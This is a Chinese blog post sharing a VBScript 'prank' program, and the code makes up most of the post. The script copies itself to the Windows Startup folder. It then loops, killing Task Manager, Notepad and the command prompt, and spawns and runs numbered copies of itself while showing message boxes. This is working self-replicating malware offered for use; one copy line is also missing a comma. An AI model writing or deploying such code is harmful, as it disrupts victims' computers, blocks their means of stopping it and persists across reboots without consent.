VBS恶搞程序

原创已于 2022-04-10 08:25:21 修改 · 583 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#开发语言

于 2022-04-09 12:39:20 首次发布

vbs 专栏收录该内容

1 篇文章

订阅专栏

这是一个使用VBScript编写的恶搞程序，它将自身设置为开机自启动，并无限循环执行，禁止打开任务管理器、记事本和命令提示符，同时不断创建并运行副本文件，显示消息框。警告：此类程序可能对电脑操作造成不便，使用需谨慎。

看到挺多人用vbs写恶搞程序的，我也写一个吧。

' dim ws, fso
 
set ws = createobject("wscript.shell")
 
set fso = createobject("scripting.fileSystemObject")
 
fso.copyFile wscript.scriptFullName "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\" '开机自启
 
for i = 0 to 100000000000 step 1 ' 无限循环
 
    ws.run("TASKKILL /IM taskmgr.exe"),0 ' 禁止打开任务管理器
 
    ws.run("TASKKILL /IM notepad.exe"),0 ' 禁止打开记事本
 
    ws.run("TASKKILL /IM cmd.exe"),0 ' 禁止打开命令提示符
 
    set another = fso.createTextFile("another" + cstr(i) + ".vbs") ' 新建副本
 
    fso.copyFile wscript.scriptFullName,"another" + cstr(i) + ".vbs" ' 复制到副本
 
    wscript.sleep(800) ' 暂停800毫秒
 
    ws.run("another" + cstr(i) + ".vbs") ' 运行副本
 
    msgbox "哈哈哈"
 
next

这个一般人弄不好的，慎用！